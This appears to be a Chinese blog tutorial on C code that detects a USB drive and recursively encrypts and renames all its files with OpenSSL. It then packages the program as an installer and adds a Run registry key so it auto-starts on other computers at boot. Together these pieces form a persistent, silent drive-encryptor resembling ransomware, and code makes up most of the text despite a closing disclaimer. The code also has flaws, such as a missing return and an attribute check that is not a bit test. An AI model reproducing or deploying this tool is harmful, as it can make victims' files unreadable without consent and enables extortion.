引言
在上一篇文章C语言使用OpenSSL对文件进行加解密操作已经提及到怎样对文件进行加密和解密,在本篇文章中将会继续深入如何对U盘进行加密和解密。
具体实现
加密
寻找U盘的盘符
在Windows中我们需要调用windows.h库函数中的GetDriverType()函数去判断计算机中是否存在可移动磁盘(U盘),并且进一步获取U盘在计算机中的盘符,下面是判断U盘盘符的代码。
//判断U盘盘符
char find_U()
{
char szDriver[3] = "A:";
int i, n = 0;
UINT uType;
for (i = 'C'; i <= 'Z'; i++)
{
szDriver[0] = i;
uType = GetDriveType(szDriver);
switch (uType)
{
case DRIVE_UNKNOWN:
printf("%c uType=%d -- Unknown\n", i, uType);
break;
case DRIVE_REMOVABLE:
printf("%c uType=%d -- Removable USB\n", i, uType);
n++;
return i;
break;
default:
break;
}
}
if (n == 0)
printf("not find\n");
}
遍历U盘文件内容
在获取到U盘的盘符后,还需要去遍历U盘中文件的所有内容,从而达到对U盘中所有文件逐一加密的目,在下面的代码中需要使用到windows.h中的WIN32_DIND_DATA结构体
//遍历U盘文件内容
void findFile(char* pathname, char *key, char *iv){
char findfilename[256];
memset(findfilename, 0, 256);
sprintf(findfilename, "%s\\*.*", pathname);
printf("要找的文件名是:%s\n", findfilename);
WIN32_FIND_DATA findData;
HANDLE hfile = FindFirstFile(findfilename, &findData);
if(INVALID_HANDLE_VALUE == hfile){
printf("找文件失败!\n");
return;
}
int ret = 1;
char temp[256];//加密前路径
char hemp[256];//加密后路径
char cemp[256];
while (ret){
if(findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY){
if(findData.cFileName[0] != '.'){
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathname, findData.cFileName);
printf("找到一个文件夹:%s", temp);
findFile(temp, key, iv);
}
}
else{
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathname, findData.cFileName);
memset(cemp, 0, 256);
sprintf(cemp, "%d%s", ret, findData.cFileName);
memset(hemp, 0, 256);
sprintf(hemp, "%s\\%s", pathname, cemp);
printf("找到一个文件:%s\n", temp);
if(isFirstCharOne(findData.cFileName)==0){ //检查文件是否被加密
encryptFile(temp, hemp, key, iv);
printf("hhh\n");
}//调用jiami函数实现文件加密
else{
printf("改文件已被加密\n");
}
}
ret = FindNextFile(hfile, &findData);
}
}
加密函数和解密函数可以在博主的C语言使用OpenSSL对文件进行加解密操作
在上述的代码中用到了windows.h中的WIN32_DIND_DATA结构体中的两个成员
1.dwFileAttributes:
这是一个DWORD
类型(32 位无符号整数)的成员变量。它用于存储文件或目录的属性信息。通过位运算可以判断文件或目录具有哪些属性。在代码中,通过该成员判断查找到的项目是否为目录,以便分别对文件和文件夹进行不同的处理。
2.cFileName:
这是一个TCHAR
类型的数组,用于存储文件或目录的名称(不包含路径)。
判断文件是否被加密
在上述的代码中还加入了判断文件是否已经被加密的功能。在通过该程序加密文件时会将文件名进行修改,在文件名前加上1,我们可以判断文件名的第一个字符是否为1可以知道文件是否被加密,下面是判断文件名是否为1的代码:
//检查文件名首字母是否唯1,检查文件是否被加密
int isFirstCharOne(char *filenamee){
if(filenamee==NULL ||strlen(filenamee)==0){
return 0;
}
return filenamee[0]=='1';
}
如果文件被加密则会返回1,反之没有被加密返回0,通过在定义的findFile函数调用该函数实现对文件是否加解密的判断。
密钥的使用
使用固定密钥
可以在main函数中加入下面的代码:
char buff[256]={0};
GetCurrentDirectory(256, buff);
char kkeyfile[256];
char iivfile[256];
char kkey[256] = "key.txt";
char iiv[256] = "iv.txt";
memset(kkeyfile, 0, 256);
sprintf(kkeyfile, "%s\\%s", buff, kkey);
memset(iivfile, 0, 256);
sprintf(iivfile, "%s\\%s", buff, iiv);
char *keyFile = kkeyfile;
char *ivFile = iivfile;
作用是在程序所处的当前目录下寻找key.txt和iv.txt两个文件的路径并传递给加密文件,进行密钥和初始化向量的读写。
当然,也可以自己定义key和iv文件的路径,只要不是U盘中就可以。
使用固定密钥的好处就是好管理,但是不太安全。.
使用随机密钥
只需要加入以下定义的函数就可以
int generateAndSaveKeyIV(const char *keyFile, const char *ivFile) {
FILE *keyOutFile, *ivOutFile;
unsigned char key[KEY_SIZE], iv[IV_SIZE];
// 生成随机密钥
if (!RAND_bytes(key, KEY_SIZE)) {
handleErrors();
}
// 生成随机初始化向量
if (!RAND_bytes(iv, IV_SIZE)) {
handleErrors();
}
// 打开密钥文件进行写入
keyOutFile = fopen(keyFile, "wb");
if (keyOutFile == NULL) {
printf("Could not open key output file.\n");
return -1;
}
// 打开初始化向量文件进行写入
ivOutFile = fopen(ivFile, "wb");
if (ivOutFile == NULL) {
printf("Could not open IV output file.\n");
fclose(keyOutFile);
return -1;
}
// 将密钥写入文件
fwrite(key, 1, KEY_SIZE, keyOutFile);
// 将初始化向量写入文件
fwrite(iv, 1, IV_SIZE, ivOutFile);
// 关闭文件
fclose(keyOutFile);
fclose(ivOutFile);
return 0;
}
keyFile:密钥文件的路径
ivFile:初始化向量的路径
使用随机密钥的好处是安全,但是每一次运行程序生成的密钥都不一样,使密钥变得不好管理。
解密
加密和解密的代码差不多相同,将加密函数换成解密函数就可以了。
需要注意的是解密文件时要使用和加密文件时相同的密钥和初始化向量,否则会无法解密文件。
制作安装程序
如果有和博主一样的想把加密程序放在其他电脑上运行并且能够实现开机自启动,不妨制作一个安装程序,可以省去很多繁琐步骤,更加方便快捷。
寻找程序所依赖的文件
软件在运行时需要依赖很多文件,没有这些文件可能会导致程序无法运行,主要是dll文件。当然,我们的加密程序的运行也需要依赖很多文件,其中大部分需要依赖的文件每台windows电脑都自带的有,libcrypto.dll文件并不是每台Windows上都有,这需要我们将解密程序和libcrypto.dll文件和加密程序放在同一个目录下才能在没有安装openssl的windows下运行加密程序。但是由于openssl的版本不同,从而不能确定到底依赖的libcrypto.dll文件的具体名称。
我们使用使用depends软件来查看加密程序所链接的所有文件,从而可以看到libcrypto.dll的具体名称。
Dependency Walker(通常简称 Depends)是一款用于查看可执行文件(.exe、.dll 等)所依赖的动态链接库(DLL)以及这些依赖关系的工具。它可以帮助开发者分析程序在运行时所需的各种库文件,对于解决程序因缺少依赖项或依赖项版本不兼容而导致的运行错误非常有帮助。
可以通过GitHub下载:https://github.com/multilang-depends/depends/releases
下载之后打开应用程序将加密文件拖进depends就可以看见有关加密程序设计的所有依赖了。
通过depends所给提供的目录找到libcrypto.dll文件所在的位置并复制一份该文件。
制作安装程序
我们可以使用inno setup软件来快速制作安装程序。
Inno Setup是一个免费的Windows安装程序制作软件,首次发布于1997年。它以其小巧、简便和精美的特点而闻名,支持Pascal脚本,能够快速制作出标准Windows风格的安装界面,足以完成一般的安装任务。
下载地址:jrsoftware.org // Jordan Russell's Software
进入官网后,点击Download Inno Setup
接着,点击 Old Downloads
然后,点击 available
最后,下载适合自己的版本
下载安装完成后,运行程序,打开后点击File,New,新建安装程序 ,点击next
填写安装程序的名字,剩下的默认就行
到这里,填写应用程序和包含文件的路径
到这里,选择安装程序的语言
接着,填写安装程序的输出位置和图标(可以不填,会输出到默认位置)
点击finish后,再点击是
到这里,需要点击否
然后找到Registry标签,再加入以下代码,作用是通过更改注册表,实现开机自启动
Root: HKLM; Subkey: "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"; ValueType: string; ValueName: "testrun"; ValueData: "{app}\{#MyAppExeName}"
最后,点击Build,Compile进行编译
到此,安装程序已经制作完毕
总结
本篇文章只是用于技术讨论,切勿用于非法途径!!!
项目源代码和安装程序博主已经放在gitee上,需要的可以自行去取
https://gitee.com/One-Muggle/ponys-programming-path/tree/master/U盘加密C
感谢大家的支持,最后祝大家中秋节快乐!